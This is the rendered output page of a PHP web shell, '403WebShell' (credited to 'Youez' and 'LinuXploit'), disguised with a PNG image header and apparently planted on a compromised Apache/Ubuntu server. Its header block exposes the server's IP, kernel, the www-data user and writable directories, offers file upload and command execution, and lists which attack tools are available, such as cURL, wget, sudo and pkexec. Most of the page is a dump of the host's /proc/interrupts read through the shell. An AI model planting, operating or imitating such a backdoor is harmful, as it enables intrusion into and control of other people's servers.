‰PNG  IHDRwSȚ-tEXtCommentNxplo403WebShell
403Webshell
Server IP : 144.76.1.235  /  Your IP : 216.73.216.244
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux einkaufsring.com 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.16
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      CPU28      CPU29      CPU30      CPU31      
   8:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    8-edge      rtc0
   9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    9-fasteoi   acpi
  18:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC   18-fasteoi   i801_smbus
  27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC   27-fasteoi   idma64.0, i2c_designware.0
  40:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC   40-fasteoi   idma64.1, i2c_designware.1
 120:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  DMAR-MSI    0-edge      dmar0
 121:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  DMAR-MSI    1-edge      dmar1
 122:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 98304-edge      PCIe PME, aerdrv, pciehp
 123:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 425984-edge      PCIe PME, aerdrv, pciehp
 124:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 442368-edge      PCIe PME, aerdrv
 125:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 450560-edge      PCIe PME, aerdrv, pciehp
 126:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 458752-edge      PCIe PME, aerdrv
 127:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 468992-edge      PCIe PME, aerdrv
 128:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 475136-edge      PCIe PME, aerdrv
 129:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 483328-edge      PCIe PME, aerdrv, pciehp
 130:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 376832-edge      ahci[0000:00:17.0]
 131:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0         70          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097152-edge      nvme0q0
 132:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0         70          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194304-edge      nvme1q0
 133:          0          0          0          0          0          0          0          0          0          0          0          0          0         37          0          0          0          0          0          0          0          0          0      49264          0          0          0          0          0          0          0          0  IR-PCI-MSI 327680-edge      xhci_hcd
 134:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 3145728-edge      enp6s0
 135:          0          0          0          0          0          0          0          0          0        517          0    1102971          0          0          0          0          0          0          0         24          0      37623          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 3145729-edge      enp6s0-TxRx-0
 136:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0         46          0          0          0          0          0          0          0    1034149          0          0          0  IR-PCI-MSI 3145730-edge      enp6s0-TxRx-1
 137:          0          0          0          0          0          0          0       9091          0          0          0      31459          0          0          0          0          0          0          0          0          0    1028341          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 3145731-edge      enp6s0-TxRx-2
 138:          0          0          0          0          0          0          0          0          0     985740          0        307          0          0          0          0          0          0          0          0          0       1145         10          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 3145732-edge      enp6s0-TxRx-3
 139:      70062          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194305-edge      nvme1q1
 140:          0     105212          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194306-edge      nvme1q2
 141:          0          0     168854          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194307-edge      nvme1q3
 142:          0          0          0     146039          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194308-edge      nvme1q4
 143:          0          0          0          0     164050          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194309-edge      nvme1q5
 144:          0          0          0          0          0     143038          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194310-edge      nvme1q6
 145:          0          0          0          0          0          0     177413          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194311-edge      nvme1q7
 146:          0          0          0          0          0          0          0     131183          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194312-edge      nvme1q8
 147:          0          0          0          0          0          0          0          0     160800          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194313-edge      nvme1q9
 148:          0          0          0          0          0          0          0          0          0      73568          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194314-edge      nvme1q10
 149:          0          0          0          0          0          0          0          0          0          0     260697          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194315-edge      nvme1q11
 150:          0          0          0          0          0          0          0          0          0          0          0     266851          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194316-edge      nvme1q12
 151:          0          0          0          0          0          0          0          0          0          0          0          0     228701          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194317-edge      nvme1q13
 152:          0          0          0          0          0          0          0          0          0          0          0          0          0     180471          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194318-edge      nvme1q14
 153:          0          0          0          0          0          0          0          0          0          0          0          0          0          0     157935          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194319-edge      nvme1q15
 154:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0     107979          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194320-edge      nvme1q16
 155:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      27772          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194321-edge      nvme1q17
 156:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      37972          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194322-edge      nvme1q18
 157:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      18086          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194323-edge      nvme1q19
 158:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      43230          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194324-edge      nvme1q20
 159:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      22369          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194325-edge      nvme1q21
 160:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      42317          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194326-edge      nvme1q22
 161:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      27084          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194327-edge      nvme1q23
 162:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      24122          0          0          0          0          0          0          0          0  IR-PCI-MSI 4194328-edge      nvme1q24
 163:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      27396          0          0          0          0          0          0          0  IR-PCI-MSI 4194329-edge      nvme1q25
 164:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      50343          0          0          0          0          0          0  IR-PCI-MSI 4194330-edge      nvme1q26
 165:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      31523          0          0          0          0          0  IR-PCI-MSI 4194331-edge      nvme1q27
 166:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      51931          0          0          0          0  IR-PCI-MSI 4194332-edge      nvme1q28
 167:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      36209          0          0          0  IR-PCI-MSI 4194333-edge      nvme1q29
 168:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      68707          0          0  IR-PCI-MSI 4194334-edge      nvme1q30
 169:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      29389          0  IR-PCI-MSI 4194335-edge      nvme1q31
 170:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      27914  IR-PCI-MSI 4194336-edge      nvme1q32
 171:      74518          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097153-edge      nvme0q1
 172:          0     110665          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097154-edge      nvme0q2
 173:          0          0     180387          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097155-edge      nvme0q3
 174:          0          0          0     150053          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097156-edge      nvme0q4
 175:          0          0          0          0     154299          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097157-edge      nvme0q5
 176:          0          0          0          0          0     133930          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097158-edge      nvme0q6
 177:          0          0          0          0          0          0     166485          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097159-edge      nvme0q7
 178:          0          0          0          0          0          0          0     123526          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097160-edge      nvme0q8
 179:          0          0          0          0          0          0          0          0     150941          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097161-edge      nvme0q9
 180:          0          0          0          0          0          0          0          0          0      66516          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097162-edge      nvme0q10
 181:          0          0          0          0          0          0          0          0          0          0     234067          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097163-edge      nvme0q11
 182:          0          0          0          0          0          0          0          0          0          0          0     239754          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097164-edge      nvme0q12
 183:          0          0          0          0          0          0          0          0          0          0          0          0     213321          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097165-edge      nvme0q13
 184:          0          0          0          0          0          0          0          0          0          0          0          0          0     169972          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097166-edge      nvme0q14
 185:          0          0          0          0          0          0          0          0          0          0          0          0          0          0     146344          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097167-edge      nvme0q15
 186:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      97578          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097168-edge      nvme0q16
 187:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      26317          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097169-edge      nvme0q17
 188:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      35689          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097170-edge      nvme0q18
 189:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      17346          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097171-edge      nvme0q19
 190:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      37705          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097172-edge      nvme0q20
 191:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      20941          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097173-edge      nvme0q21
 192:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      36761          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097174-edge      nvme0q22
 193:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      25344          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097175-edge      nvme0q23
 194:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      22566          0          0          0          0          0          0          0          0  IR-PCI-MSI 2097176-edge      nvme0q24
 195:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      25776          0          0          0          0          0          0          0  IR-PCI-MSI 2097177-edge      nvme0q25
 196:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      38523          0          0          0          0          0          0  IR-PCI-MSI 2097178-edge      nvme0q26
 197:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      30197          0          0          0          0          0  IR-PCI-MSI 2097179-edge      nvme0q27
 198:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      30566          0          0          0          0  IR-PCI-MSI 2097180-edge      nvme0q28
 199:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      30590          0          0          0  IR-PCI-MSI 2097181-edge      nvme0q29
 200:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      26709          0          0  IR-PCI-MSI 2097182-edge      nvme0q30
 201:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      27798          0  IR-PCI-MSI 2097183-edge      nvme0q31
 202:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0      23493  IR-PCI-MSI 2097184-edge      nvme0q32
 203:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 514048-edge      snd_hda_intel:card0
 NMI:      16077      16057      16072      16052      16079      16068      16079      16067      16079      16067      16079      16067      16078      16067      16078      16067      13991      13991      13991      13991      13991      13987      13988      13988      13920      13920      13920      13920      13977      13977      13977      13976   Non-maskable interrupts
 LOC:   27211206   27119114   27468095   27588630   27362479   27146092   27168143   26864108   27263723   26639831   27075209   26968104   27621781   27455877   27476857   27146210   26788012   27161868   26979597   27165582   26438652   26716740   26576331   26665756   26753642   26657222   26528695   26632123   26582866   26778312   26690982   27257483   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:      16077      16057      16072      16052      16079      16068      16079      16067      16079      16067      16079      16067      16078      16067      16078      16067      13991      13991      13991      13991      13991      13987      13988      13988      13920      13920      13920      13920      13977      13977      13977      13976   Performance monitoring interrupts
 IWI:          0          0          2          0          0          0          1          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0   IRQ work interrupts
 RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:     197930     226680     534352     308414     360200     286958     359315     299861     292254     262515     386187     455876     434776     362550     359415     324107      97129     115552     107881     121340     122017     211103     111009     100653     131168     128542     110751     108174     171943     115976     117852      98872   Rescheduling interrupts
 CAL:      98560      79993      70328      72775      70390      70588      70369      70984      71708      72135      69201      70365      69769      70285      67487      71397      71798      71644      72839      71413      71031      71829      70667      69729      70791      71578      71583      71652      72046      70995      70907      71567   Function call interrupts
 TLB:        436        576        677        398        492        426        494        247        597        457        601        713        597        263        491        259        603        431        497        480        507        830        634        509        483        826        585        512        518        429        372        437   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:        336        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337        337   Machine check polls
 ERR:          0
 MIS:          0
 PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
 NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
 PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Youez - 2016 - github.com/yon3zu
LinuXploit